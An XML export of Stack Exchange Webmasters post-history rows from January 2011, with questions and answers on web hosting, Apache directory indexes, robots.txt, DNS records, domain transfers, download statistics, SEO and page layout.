  <row Id="17470" PostHistoryTypeId="5" PostId="8137" RevisionGUID="7bd6a673-cfa2-46d7-845e-db475e823bdf" CreationDate="2011-01-24T02:01:47.807" UserId="4629" Comment="added 317 characters in body" Text="[![alt text][1]][2]&#xD;&#xA;&#xD;&#xA;**Overview**&#xD;&#xA;&#xD;&#xA;RailsPlayground offers plans for shared, virtual, and dedicated servers. They provide a complete hardware solution.&#xD;&#xA;&#xD;&#xA;**Features**&#xD;&#xA;&#xD;&#xA; - Hosting for Git, Subverion, amd Mecurial repositories as well as Redmine and Trac ticketing systems.&#xD;&#xA; - [Network-attached storage][3] and backup options.&#xD;&#xA; - Load balancers can be added to any server cluster.&#xD;&#xA;&#xD;&#xA;**Pricing**&#xD;&#xA;&#xD;&#xA;Shared servers start at $5/month. Dedicated servers start at $160/month.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/r50XK.png&#xD;&#xA;  [2]: http://railsplayground.com/ &quot;RailsPlayground&quot;&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Network-attached_storage &quot;Network-attached storage - Wikipedia&quot;" />
  <row Id="17473" PostHistoryTypeId="2" PostId="8143" RevisionGUID="be09da58-47ed-4b10-bf64-e6accb8c9b9a" CreationDate="2011-01-24T02:19:13.610" UserId="4629" Text="If you are using **Apache**, naming your homepage file 'index.html' will get it to be detected at www.example.com by default. If you want to change it to accept home.html as a valid directory index page, you will need to edit the `DirectoryIndex` directive in your configuration file:&#xD;&#xA;&#xD;&#xA;    DirectoryIndex index.html home.html whatever_other_pages_you_want_to_list.html" />
  <row Id="17474" PostHistoryTypeId="17" PostId="8145" RevisionGUID="22f87a6f-a864-4f34-bc72-f66586126e21" CreationDate="2011-01-24T02:35:51.717" UserId="-1" Comment="from http://stackoverflow.com/questions/4769904/how-to-exclude-a-website-from-real-time-google-search-results/4769932#4769932" Text="" />
  <row Id="17475" PostHistoryTypeId="2" PostId="8145" RevisionGUID="5e0f7a94-355c-437a-9e8d-734379a39287" CreationDate="2011-01-22T19:07:27.413" UserDisplayName="Mikael Svenson" Text="Add a robots.txt file on the root of your server with:&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /&#xD;&#xA;&#xD;&#xA;You can also add this to your start page (or any page):&#xD;&#xA;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;    &lt;head&gt;&#xD;&#xA;    &lt;title&gt;...&lt;/title&gt;&#xD;&#xA;    &lt;META NAME=&quot;ROBOTS&quot; CONTENT=&quot;NOINDEX, NOFOLLOW&quot;&gt;&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;&#xD;&#xA;This should stop all indexing for crawlers who play nice.&#xD;&#xA;&#xD;&#xA;More information at http://www.robotstxt.org/" />
  <row Id="17476" PostHistoryTypeId="2" PostId="8144" RevisionGUID="92440dcf-3dc5-4116-897b-798fdf5e9da5" CreationDate="2011-01-22T19:02:39.960" UserDisplayName="Jamshid Asatillayev" Text="Google bots have recently indexed my test web site which is not intended for users.&#xD;&#xA;How can i exclude my JSP web site from google's search result?&#xD;&#xA;" />
  <row Id="17477" PostHistoryTypeId="1" PostId="8144" RevisionGUID="92440dcf-3dc5-4116-897b-798fdf5e9da5" CreationDate="2011-01-22T19:02:39.960" UserDisplayName="Jamshid Asatillayev" Text="How to exclude a website from real-time Google search results ?" />
  <row Id="17478" PostHistoryTypeId="3" PostId="8144" RevisionGUID="92440dcf-3dc5-4116-897b-798fdf5e9da5" CreationDate="2011-01-22T19:02:39.960" UserDisplayName="Jamshid Asatillayev" Text="&lt;search&gt;&lt;google&gt;" />
  <row Id="17479" PostHistoryTypeId="17" PostId="8144" RevisionGUID="046273a6-a486-47d5-80ef-f7a0d7006012" CreationDate="2011-01-24T02:35:51.717" UserId="-1" Comment="from http://stackoverflow.com/questions/4769904/how-to-exclude-a-website-from-real-time-google-search-results" Text="" />
  <row Id="17480" PostHistoryTypeId="5" PostId="8129" RevisionGUID="512b908c-b8e2-4807-9064-52536ef6a7d2" CreationDate="2011-01-24T02:40:46.290" UserId="4629" Comment="deleted 3 characters in body" Text="What hosting options exist for Rails applications?&#xD;&#xA;&#xD;&#xA;The goal of this *community wiki* question is to get a feel for:&#xD;&#xA;&#xD;&#xA; - what options are available&#xD;&#xA; - advantages/disadvantages/cost of each&#xD;&#xA; - overall opinion of each option, in the form of votes for each answer&#xD;&#xA;&#xD;&#xA;Guidelines for answers:&#xD;&#xA;&#xD;&#xA; - Please provide *one* option per answer.&#xD;&#xA; - In the answer, elaborate on the factual features, advantages, and disadvantages to each option. If possible, include information about costs in relation to traffic (preferred) or hardware.&#xD;&#xA; - Answers can be options for Rails-specific hosts, general hosts, and 'rolling your own host'.&#xD;&#xA; - If you have utilized a solution on the list and approve of it, show your support by up-voting that solution. If you had a bad experience with that method, show your dissatisfaction by down-voting that solution.&#xD;&#xA; - Please keep the answers factual and without bias in the editing process. Keep subjective thoughts to comments/voting on answers.&#xD;&#xA;&#xD;&#xA;There will not be an 'accepted answer' to this question.&#xD;&#xA;&#xD;&#xA;Many web hosts cannot accommodate Rails apps, and others do so weakly. I've seen this question tossed around and discussed a good bit and I think it's time we had a definitive reference maintained by a community of webmasters. " />
  <row Id="17481" PostHistoryTypeId="2" PostId="8146" RevisionGUID="9531fdb8-ea42-41f8-82ce-675b084823b6" CreationDate="2011-01-24T02:43:11.160" UserId="4656" Text="I have a freeware hosted on my website, and use webalizer to track the traffic. I can get the data of my installation file from webalizer in section &quot;Top 10 of 583 Total URLs By KBytes&quot; (till Jan. 23):&#xD;&#xA;&#xD;&#xA; - Hits: 21753 (6.45%)&#xD;&#xA; - KBytes: 40150088 (91.27%)&#xD;&#xA;&#xD;&#xA;The size of installation file is 6564989 bytes, suppose it's 6565 Kbytes. Then the total downloads can be simply calculated as:&#xD;&#xA;&#xD;&#xA;40150088 / 6565 = 6115, convert to weekly downloads will be 6115 / 23 (till Jan. 23) * 7 (days/week) = 1861.&#xD;&#xA;&#xD;&#xA;Now comes with my questions:&#xD;&#xA;&#xD;&#xA; - Is the total downloads 6115 accurate here?&#xD;&#xA; - What does the 21753 Hits mean? 2/3 of the hits failed or people using multi-thread download tools?" />
  <row Id="17482" PostHistoryTypeId="1" PostId="8146" RevisionGUID="9531fdb8-ea42-41f8-82ce-675b084823b6" CreationDate="2011-01-24T02:43:11.160" UserId="4656" Text="How to calculate the actual count of downloads through bandwidth" />
  <row Id="17483" PostHistoryTypeId="3" PostId="8146" RevisionGUID="9531fdb8-ea42-41f8-82ce-675b084823b6" CreationDate="2011-01-24T02:43:11.160" UserId="4656" Text="&lt;traffic&gt;&lt;bandwidth&gt;&lt;download&gt;" />
  <row Id="17484" PostHistoryTypeId="17" PostId="8148" RevisionGUID="56d7ea4e-acaf-4709-955f-1aecc0bb1fd5" CreationDate="2011-01-24T02:58:38.590" UserId="-1" Comment="from http://serverfault.com/questions/137582/best-reseller-for-a-domain-name/137588#137588" Text="" />
  <row Id="17485" PostHistoryTypeId="2" PostId="8148" RevisionGUID="b907eed3-eef8-4aa0-8e1a-0a871769d029" CreationDate="2010-04-30T23:34:21.740" UserDisplayName="xeon" Text="I use [1and1][1] for my domains.  Have been using them since 2005 without any issues.  I have 10 domains with them now.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://1and1.com" />
  <row Id="17486" PostHistoryTypeId="2" PostId="8147" RevisionGUID="77388983-d80c-480a-911c-b2d1dd412e7d" CreationDate="2010-04-30T23:12:48.030" UserId="1068" Text="Looking to purchase a domain name separately from the package (using SliceHost and want a domain name) and I was wondering what is the best reseller to purchase from.&#xD;&#xA;&#xD;&#xA;All the pricing for a yearly renewal is under $10, so price isn't an issue. I'm also not sure what else to be concerned about when purchasing a domain name, such as domain registration, etc.  " />
  <row Id="17487" PostHistoryTypeId="1" PostId="8147" RevisionGUID="77388983-d80c-480a-911c-b2d1dd412e7d" CreationDate="2010-04-30T23:12:48.030" UserId="1068" Text="Best reseller for a domain name" />
  <row Id="17488" PostHistoryTypeId="3" PostId="8147" RevisionGUID="77388983-d80c-480a-911c-b2d1dd412e7d" CreationDate="2010-04-30T23:12:48.030" UserId="1068" Text="&lt;domains&gt;&lt;purchase&gt;&lt;registrar&gt;&lt;domain-registration&gt;" />
  <row Id="17489" PostHistoryTypeId="17" PostId="8147" RevisionGUID="d3ffa92e-eb94-46ba-8cad-825f39a86ae7" CreationDate="2011-01-24T02:58:38.590" UserId="-1" Comment="from http://serverfault.com/questions/137582/best-reseller-for-a-domain-name" Text="" />
  <row Id="17490" PostHistoryTypeId="2" PostId="8149" RevisionGUID="824cbe87-4cc8-4af1-9c73-fa46327d998f" CreationDate="2011-01-24T03:08:23.203" UserId="1064" Text="&gt; Is the total downloads 6115 accurate&#xD;&#xA;&gt; here?&#xD;&#xA;&#xD;&#xA;No - the &quot;Top URL's by KBytes&quot; statistic is compiled from total KB downloaded, not from total completed downloads - this means that five people who downloaded 20% of the file would be counted as 1,313 KB each (and, in total, those five people would count as 6565 KB) ... but 20% of the download across five different users does not equate to one full download in practice.&#xD;&#xA;&#xD;&#xA;&gt; What does the 21753 Hits mean? 2/3 of&#xD;&#xA;&gt; the hits failed or people using&#xD;&#xA;&gt; multi-thread download tools?&#xD;&#xA;&#xD;&#xA;21,753 hits means that the file was requested from your webserver 21,753 times - webalizer makes no distinction between human and bot traffic here, and a single visitor may very well be issuing multiple requests against the file.&#xD;&#xA;&#xD;&#xA;You'll need to review your actual server logs to see [HTTP/1.1 206 - Partial Content][1] requests for those users resuming file downloads or using parallel download tools.&#xD;&#xA;&#xD;&#xA;Webalizer is not the best tool for calculating the total number of complete downloads - you may be better off putting up a [script][2] which serves file contents and can track partial and complete downloads by user IP address or a cookie.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/List_of_HTTP_status_codes#2xx_Success&#xD;&#xA;  [2]: http://tutorialzine.com/2010/02/php-mysql-download-counter/" />
  <row Id="17491" PostHistoryTypeId="2" PostId="8150" RevisionGUID="8730b8ac-3183-4a46-b0a3-f602641aa725" CreationDate="2011-01-24T03:19:28.897" UserDisplayName="aceinthehole" Text="I am attempting to set up a server that has a static IP address and I want to register a domain name to point to it. Having always used shared hosting in the past, I am unsure what to tell my domain to point at. &#xD;&#xA;&#xD;&#xA;Do I just put the IP for the A record and delete the name server records?" />
  <row Id="17492" PostHistoryTypeId="1" PostId="8150" RevisionGUID="8730b8ac-3183-4a46-b0a3-f602641aa725" CreationDate="2011-01-24T03:19:28.897" UserDisplayName="aceinthehole" Text="When registering a domain using a static IP and the A Record, do I need to set the Nameservers also?" />
  <row Id="17493" PostHistoryTypeId="3" PostId="8150" RevisionGUID="8730b8ac-3183-4a46-b0a3-f602641aa725" CreationDate="2011-01-24T03:19:28.897" UserDisplayName="aceinthehole" Text="&lt;ip&gt;&lt;domain-names&gt;&lt;domain-registrar&gt;" />
  <row Id="17494" PostHistoryTypeId="17" PostId="8150" RevisionGUID="0b389a35-fbe2-4809-a341-832bfb3d2949" CreationDate="2011-01-24T04:25:26.087" UserId="-1" Comment="from http://superuser.com/questions/236960/when-registering-a-domain-using-a-static-ip-and-the-a-record-do-i-need-to-set-th" Text="" />
  <row Id="17496" PostHistoryTypeId="2" PostId="8151" RevisionGUID="97a6f3ae-2bd3-43b4-9966-31ccbddacded" CreationDate="2011-01-24T05:01:23.863" UserId="4842" Text="Okay, I have a pretty complex problem, so I'll get right to it.  I'm a designer who built a new website for my client.  Their old site is hosted at GoDaddy, as well as their email.  Problem is, the guy who built the original site decided to put the original domain name and hosting under HIS personal GoDaddy account.  Well, that turned out to be a bad move for several reasons. Here's how it's all tied together. &#xD;&#xA;&#xD;&#xA;The original domain name, www.domainoriginal.com, was actually purchased at Network Solutions.  The original web designer pointed the nameservers from Network Solutions to his GoDaddy account, where the email and hosting is setup.  &#xD;&#xA;&#xD;&#xA;The new domain name, www.domainnew.com, was purchased under a new and separate GoDaddy account belonging to the company, and the new website was built under a 3rd party platform (Big Commerce).  So, the www.domainnew.com is already pointed to the new website using A records at new GoDaddy account.  All is fine there.  However, they still need www.domainoriginal.com to point to the NEW website as well.  (The old one can simply be deleted, it is NOT important).  AND, they want to keep their old email addresses intact and working as well, but under the NEW GoDaddy account.&#xD;&#xA;&#xD;&#xA;Obviously, I have no DNS control at Network Solutions, and I have no idea what kind of control I have at GoDaddy under the old account because the web designer will not let me see inside his account.  But, he and GoDaddy both tell me nothing can be done other than to repoint the nameservers to Network Solutions, and then repoint the A record to my new website, www.domainnew.com, and point the MX Records to GoDaddy. I'm told the downtime would be 24-48 hours if I do this.&#xD;&#xA;&#xD;&#xA;Ideally, we'd like to do a domain name transfer and get www.domainoriginal.com in the new GoDaddy account created by the company.  But, I'm told this could take up to 7 days.  Does this mean the site and email will be down for 7 days? And any emails sent during this time, would they be lost forever? &#xD;&#xA;&#xD;&#xA;If I do this, how long could I expect the site and email to go down? And, will the emails be permanently lost?  I've gotten different answers from everybody at GoDaddy so I kind of don't trust them anymore...&#xD;&#xA;&#xD;&#xA;Any help would be greatly appreciated&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Tyson" />
  <row Id="17497" PostHistoryTypeId="1" PostId="8151" RevisionGUID="97a6f3ae-2bd3-43b4-9966-31ccbddacded" CreationDate="2011-01-24T05:01:23.863" UserId="4842" Text="How to move a website and domain name without experiencing downtime for emails or site?" />
  <row Id="17498" PostHistoryTypeId="3" PostId="8151" RevisionGUID="97a6f3ae-2bd3-43b4-9966-31ccbddacded" CreationDate="2011-01-24T05:01:23.863" UserId="4842" Text="&lt;web-hosting&gt;&lt;domain-names&gt;&lt;dns&gt;&lt;email&gt;" />
  <row Id="17499" PostHistoryTypeId="2" PostId="8152" RevisionGUID="5404f927-cc03-48a7-ba8a-638b00a5298c" CreationDate="2011-01-24T05:06:24.073" UserId="4803" Text="Standard servers accept 3 names to auto-detect as your homepage;&#xD;&#xA;&#xD;&#xA; - index.*&#xD;&#xA; - default.*&#xD;&#xA; - home.*&#xD;&#xA;&#xD;&#xA;If you're using a big webhost like hostmonster or godaddy, those 3 should be accepted.&#xD;&#xA;&#xD;&#xA;Basically that DirectoryIndex is inside of the configuration file for Apache, which is a program that runs on servers. When your user goes to example.com, the server will look for the files on that line to display as the page, since none was specified. It goes in order of precedence, meaning the line that Shaun put up, it will look for index.html first, then if it didn't find that it would look for home.html, then whatever_other_pages_you_want_to_list.html. Index, default, and home are just the normal pages, but you can specify you're own if you'd like.&#xD;&#xA;&#xD;&#xA;*- meaning .html, .htm, .php, .asp, .aspx, .xhtm, .xhtml, etc." />
  <row Id="17500" PostHistoryTypeId="2" PostId="8153" RevisionGUID="98ff8b9a-8fef-4a45-b383-9c80cca39f90" CreationDate="2011-01-24T05:23:33.047" UserId="4803" Text="As others have said, there is no standard to this type of thing. Although, here are a few tips that will either make or brake your website:&#xD;&#xA;&#xD;&#xA;I've always used either percentages or a worst-case-scenario build: smallest screen resolution that you're going to commonly come across is 800x600, and even that is rare. Anything below that is probably on a mobile device. 775px width is a good medium to use, or simply 80% if you know for a fact your website will still have appeal when it is scaled out to a larger screen. Most common problems is that the text content (When scaled out to 1600px widths) seems empty and short. Having your website to 775px width will fix that, however it might not look good with massive open space on either side.&#xD;&#xA;&#xD;&#xA;NEVER make your users scroll to the left or right. Cutting off content of the sides is the quickest way to lose potential customers or readers.&#xD;&#xA;&#xD;&#xA;Have your navigation somewhere near the top or in a place to where users don't need to scroll to find it.&#xD;&#xA;&#xD;&#xA;And just a content tip; either have high graphics/low information or high information/low graphics. Trying to combine both of them always looks terrible." />
  <row Id="17506" PostHistoryTypeId="2" PostId="8154" RevisionGUID="87c82910-b678-470e-8ab9-3d28441e572c" CreationDate="2011-01-24T05:55:20.417" UserDisplayName="JP19" Text="NameServer is needed for every domain. Just put the static IP as an A record in your registrar's control panel.&#xD;&#xA;&#xD;&#xA;(If your registrar was different from your shared hosting provider in the past, you would have done the same even for shared hosting)." />
  <row Id="17507" PostHistoryTypeId="5" PostId="8071" RevisionGUID="f62a5a52-89c3-4030-b799-1bcf0bf6cdb5" CreationDate="2011-01-24T06:06:43.480" UserDisplayName="JP19" Comment="added 80 characters in body" Text="For now, use 301 redirects or Google's canonical URL meta tag.  This way, you will not waste your existing pagerank (even if it is 0, it would still have some internal value depending on the existing backlinks, as compared to a fresh site with no backlinks) and ensure that your new site will almost instantly appear in search results.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Once your new site is more established, you can decide whether to drop the old domain (whether its worth maintaining, etc).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17508" PostHistoryTypeId="2" PostId="8155" RevisionGUID="0f29d238-5e4b-46b4-816e-1b0d971dec98" CreationDate="2011-01-24T07:26:07.197" UserId="4803" Text="Using a &lt;div&gt; tag might solve your problem, however the &lt;div&gt; tag automatically puts in a line-return or break (&lt;br&gt;). I would suggest either positioning the &lt;div&gt; tag absolutely (Using position: absolute; in CSS), then float it right (Using float: right;).&#xD;&#xA;&#xD;&#xA;Basically:&#xD;&#xA;&#xD;&#xA;    #div_el{&#xD;&#xA;      position: absolute;&#xD;&#xA;      float: right;&#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;Should help a bit." />
  <row Id="17514" PostHistoryTypeId="25" PostId="8151" RevisionGUID="1b723540-a7db-4ce4-9bd7-975526337e80" CreationDate="2011-01-24T07:55:48.583" Comment="http://twitter.com/#!/StackWebmasters/status/29447260085424128" />
  <row Id="17515" PostHistoryTypeId="2" PostId="8158" RevisionGUID="77f387b0-7cb4-4222-a44f-0d89f81d4057" CreationDate="2011-01-24T08:19:53.507" UserDisplayName="user4845" Text="Our dream as business partners was always to go to a conference overseas.&#xD;&#xA;&#xD;&#xA;Now that we can finally afford to, we have no clue of which one to go to.&#xD;&#xA;&#xD;&#xA;Which conference would you guys suggest from a web entrepeneur's point of view, if there were just one to go to?&#xD;&#xA;&#xD;&#xA;Perhaps something that included a bit of marketing, new thinking, innovation, inspiration.&#xD;&#xA;&#xD;&#xA;We were very keen on Google IO previously, but were concerned that it would be very Google product focused.&#xD;&#xA;&#xD;&#xA;Huge thanks!" />
  <row Id="17516" PostHistoryTypeId="1" PostId="8158" RevisionGUID="77f387b0-7cb4-4222-a44f-0d89f81d4057" CreationDate="2011-01-24T08:19:53.507" UserDisplayName="user4845" Text="What's the best web entrepeneur's conference to go on" />
  <row Id="17517" PostHistoryTypeId="3" PostId="8158" RevisionGUID="77f387b0-7cb4-4222-a44f-0d89f81d4057" CreationDate="2011-01-24T08:19:53.507" UserDisplayName="user4845" Text="&lt;web-development&gt;&lt;marketing&gt;" />
  <row Id="17518" PostHistoryTypeId="2" PostId="8159" RevisionGUID="16f7ccb0-7315-4ffd-a667-b7e0107157ed" CreationDate="2011-01-24T08:22:59.410" UserId="3905" Text="I have done a search here before and someone's asked a similar question which was helpful but what I need to find out is what the Traffic Value, not the monetary value of a keyword is please?&#xD;&#xA;&#xD;&#xA;Does anyone know what kind of tools or tests I can run to find the traffic value of a keyword?&#xD;&#xA;&#xD;&#xA;Thanks a stack (no pun intended) ;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17519" PostHistoryTypeId="1" PostId="8159" RevisionGUID="16f7ccb0-7315-4ffd-a667-b7e0107157ed" CreationDate="2011-01-24T08:22:59.410" UserId="3905" Text="SEO - Keyword Value " />
  <row Id="17520" PostHistoryTypeId="3" PostId="8159" RevisionGUID="16f7ccb0-7315-4ffd-a667-b7e0107157ed" CreationDate="2011-01-24T08:22:59.410" UserId="3905" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;tools&gt;&lt;value&gt;" />
  <row Id="17521" PostHistoryTypeId="2" PostId="8160" RevisionGUID="cefe2319-82cb-479a-8402-56d4e41a8f51" CreationDate="2011-01-24T08:26:34.577" UserId="4778" Text="this is a follow up question to this one [What's the best way to version CSS and JS URLs - part 2][1]&#xD;&#xA;&#xD;&#xA;If I have my static files on Amazon cloudfront and have the file's URLs mentioned in my code. How will I be able to do versioning of my CSS files, so that the browser retrieves the latest version of the file when I update it on cloudfront.&#xD;&#xA;&#xD;&#xA;Couple of things **I do not want to** do when I am doing this are &#xD;&#xA;&#xD;&#xA; - change the filename in cloudfront and change the urls everywhere in the code&#xD;&#xA; - and then restarting the application server&#xD;&#xA;&#xD;&#xA;thanks&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/8123/whats-the-best-way-to-version-css-and-js-urls-part-2" />
  <row Id="17522" PostHistoryTypeId="1" PostId="8160" RevisionGUID="cefe2319-82cb-479a-8402-56d4e41a8f51" CreationDate="2011-01-24T08:26:34.577" UserId="4778" Text="What's the best way to version CSS and JS URLs - part 3" />
  <row Id="17523" PostHistoryTypeId="3" PostId="8160" RevisionGUID="cefe2319-82cb-479a-8402-56d4e41a8f51" CreationDate="2011-01-24T08:26:34.577" UserId="4778" Text="&lt;cache-control&gt;&lt;static-content&gt;&lt;amazon-cloudfront&gt;" />
  <row Id="17527" PostHistoryTypeId="2" PostId="8161" RevisionGUID="88348d57-445c-4d30-bec3-304d68ab28c6" CreationDate="2011-01-24T08:38:06.003" UserId="4847" Text="Ok suppose I have some content&#xD;&#xA;&#xD;&#xA;&gt; My site !! Usefull Info here about grazillas!&#xD;&#xA;&#xD;&#xA; in a htm-file, that can be reached with a url that can change at any time, like &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**url1 :** &#xD;&#xA;&lt;code&gt;&#xD;&#xA;http://www.mysite.com/notfixed.htm?($!abcd)/bs/@id=12&#xD;&#xA;&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;but I have a fixed url that always will be pointing to url1, even if it changes  like &#xD;&#xA;&#xD;&#xA;**url 2 :**&#xD;&#xA;&lt;code&gt;&#xD;&#xA;http://www.mysite.com/redirection.htm?pageId=12&#xD;&#xA;&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;so when I google on 'grazillas' I would like to get &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;G O O G L E &#xD;&#xA;&#xD;&#xA; - http://www.mysite.com/redirection.htm?pageId=12&#xD;&#xA;  - --&gt; Site with usefulll info about grazilla's &#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;and NOT : &#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;G O O G L E &#xD;&#xA;&#xD;&#xA; - http://www.mysite.com/notfixed.htm?($!abcd)/bs/@id=12&#xD;&#xA;  - --&gt; Site with usefulll info about grazilla's &#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is this the way google behaves, or is there any way to achieve this? &#xD;&#xA;Is this boiling down to indexing permalinks? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17528" PostHistoryTypeId="1" PostId="8161" RevisionGUID="88348d57-445c-4d30-bec3-304d68ab28c6" CreationDate="2011-01-24T08:38:06.003" UserId="4847" Text="Redirection and the googlebot  : a newbie question " />
  <row Id="17529" PostHistoryTypeId="3" PostId="8161" RevisionGUID="88348d57-445c-4d30-bec3-304d68ab28c6" CreationDate="2011-01-24T08:38:06.003" UserId="4847" Text="&lt;google&gt;" />
  <row Id="17530" PostHistoryTypeId="6" PostId="8161" RevisionGUID="6e669865-c695-4b38-8955-a48980aafddd" CreationDate="2011-01-24T08:59:18.033" UserId="4847" Comment="edited tags" Text="&lt;google&gt;&lt;redirects&gt;" />
  <row Id="17531" PostHistoryTypeId="2" PostId="8162" RevisionGUID="572d3d45-e9fc-471b-ae52-18a5d12b83d1" CreationDate="2011-01-24T09:02:14.647" UserId="3819" Text="Specious.&#xD;&#xA;&#xD;&#xA;SEO, beyond ensuring that your website is intuitive to humans and search engine crawlers, is almost entirely made up of backlinks and domain authority (empowered by backlinks). By moving across different domains, you're decentralizing the authority of your root domain.&#xD;&#xA;&#xD;&#xA;For all that energy, you'd benefit more just investing in some backlink packages. &#xD;&#xA;&#xD;&#xA;A better design is to keep it all on one URL, but make a sort of &quot;hub&quot; for each big topic.&#xD;&#xA;&#xD;&#xA;* domain.com/topic1&#xD;&#xA;* domain.com/topic2&#xD;&#xA;* etc.&#xD;&#xA;&#xD;&#xA;Wikipedia wouldn't be so prevalent if it were federated across a bunch of smaller websites." />
  <row Id="17532" PostHistoryTypeId="2" PostId="8163" RevisionGUID="697bb402-ac82-4cf2-9165-7db05b42cf1f" CreationDate="2011-01-24T09:29:11.273" UserDisplayName="JP19" Text="[Google Keyword Tool External][1]. It provides both Traffic Estimate and CPC values optionally.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://adwords.google.com/select/KeywordToolExternal" />
  <row Id="17533" PostHistoryTypeId="2" PostId="8164" RevisionGUID="54b6856a-8a64-4e40-8cb1-b07557f1efc4" CreationDate="2011-01-24T09:51:26.863" UserId="3905" Text="I am not sure if this belongs here and I apologise if it does not.&#xD;&#xA;&#xD;&#xA;What I would like to know is if there is a test of sorts that can check someone's  web design skill level much like the W3C offers tests to check someone's development skills?&#xD;&#xA;&#xD;&#xA;Many thanks." />
  <row Id="17534" PostHistoryTypeId="1" PostId="8164" RevisionGUID="54b6856a-8a64-4e40-8cb1-b07557f1efc4" CreationDate="2011-01-24T09:51:26.863" UserId="3905" Text="Evaluate someone's web design level skill" />
  <row Id="17535" PostHistoryTypeId="3" PostId="8164" RevisionGUID="54b6856a-8a64-4e40-8cb1-b07557f1efc4" CreationDate="2011-01-24T09:51:26.863" UserId="3905" Text="&lt;website-design&gt;&lt;skills&gt;" />
  <row Id="17536" PostHistoryTypeId="2" PostId="8165" RevisionGUID="4abd5d30-0cc7-4f34-89b3-3eb95ce9b093" CreationDate="2011-01-24T10:11:10.633" UserId="3905" Text="I've run our client's site through a WCAG 2.0 validator which has returned 415 tasks that need to be worked through in order to get it WCAG 2.0 compliant.&#xD;&#xA;&#xD;&#xA;For the most part, I can get a rough estimation of how long a task will take but there are tasks I have never had to do before which I am not sure how to cost.&#xD;&#xA;&#xD;&#xA;I would like to know if someone has a rough guide on what to cost a client to convert their site to a compliant WCAG 2.0 (AA) site.&#xD;&#xA;&#xD;&#xA;Many thanks" />
  <row Id="17537" PostHistoryTypeId="1" PostId="8165" RevisionGUID="4abd5d30-0cc7-4f34-89b3-3eb95ce9b093" CreationDate="2011-01-24T10:11:10.633" UserId="3905" Text="Working out costs to implement WCAG 2.0 (AA) site" />
  <row Id="17538" PostHistoryTypeId="3" PostId="8165" RevisionGUID="4abd5d30-0cc7-4f34-89b3-3eb95ce9b093" CreationDate="2011-01-24T10:11:10.633" UserId="3905" Text="&lt;cms&gt;" />
  <row Id="17539" PostHistoryTypeId="2" PostId="8166" RevisionGUID="418acaeb-d4f0-45fa-92b0-beca5729ed15" CreationDate="2011-01-24T10:32:17.417" UserId="4803" Text="Simply looking at a page that they built should tell you all that you need to know. See how it looks, how easy it is to use and how many features there are.&#xD;&#xA;&#xD;&#xA;However, having a program look through someone's code isn't going to determine their design competency. Design is based on what a human thinks about it and interaction - if it is aesthetically pleasing or not, whether the features work or how complex they might be." />
  <row Id="17540" PostHistoryTypeId="2" PostId="8167" RevisionGUID="0b1b349d-007c-454f-997c-d1e8fa243339" CreationDate="2011-01-24T10:48:57.957" UserId="3878" Text="I am using HTML5 in the same way everyone seems to be using it these days, meaning: HTML5 tags, Canvas / 3D / javascript and CSS3.&#xD;&#xA;&#xD;&#xA;I am struggling to find examples of sites that are using these technologies practically and that are not just a demo of something cool someone has managed to do using Canvas or CSS3 transforms or shapes.&#xD;&#xA;&#xD;&#xA;I am looking for sites that have a nice visual look but also take advantage of things like animation, scrolling and offset à la [Silverback][1] or the Canvas to create an interactive and I guess 'Flash-looking' site. &#xD;&#xA;&#xD;&#xA;These are some examples that I have found:&#xD;&#xA;&#xD;&#xA;**Scrolling**&#xD;&#xA;&#xD;&#xA; - http://nikebetterworld.com/index&#xD;&#xA; - http://benthebodyguard.com/&#xD;&#xA;&#xD;&#xA;**Animation**&#xD;&#xA;&#xD;&#xA; - http://www.elladesign.com/contact.html&#xD;&#xA;&#xD;&#xA;**Other**&#xD;&#xA;&#xD;&#xA; - http://www.pirateslovedaisies.com/&#xD;&#xA;&#xD;&#xA;I am using HTML5 loosely and I hate to be using it. I would be happy if you listed a really visually appealing Javascript-based site but it didn't have the HTML5 doctype.&#xD;&#xA;&#xD;&#xA;  [1]: http://silverbackapp.com/" />
  <row Id="17541" PostHistoryTypeId="1" PostId="8167" RevisionGUID="0b1b349d-007c-454f-997c-d1e8fa243339" CreationDate="2011-01-24T10:48:57.957" UserId="3878" Text="Can anyone list some real examples of 'HTML5' being used in the wild?" />
  <row Id="17542" PostHistoryTypeId="3" PostId="8167" RevisionGUID="0b1b349d-007c-454f-997c-d1e8fa243339" CreationDate="2011-01-24T10:48:57.957" UserId="3878" Text="&lt;html&gt;&lt;css&gt;&lt;javascript&gt;&lt;html5&gt;&lt;css3&gt;" />
  <row Id="17543" PostHistoryTypeId="25" PostId="8165" RevisionGUID="24bd4633-a415-4e17-ac0a-5b0f5f7b5e38" CreationDate="2011-01-24T10:55:48.857" Comment="http://twitter.com/#!/StackWebmasters/status/29492559512338432" />
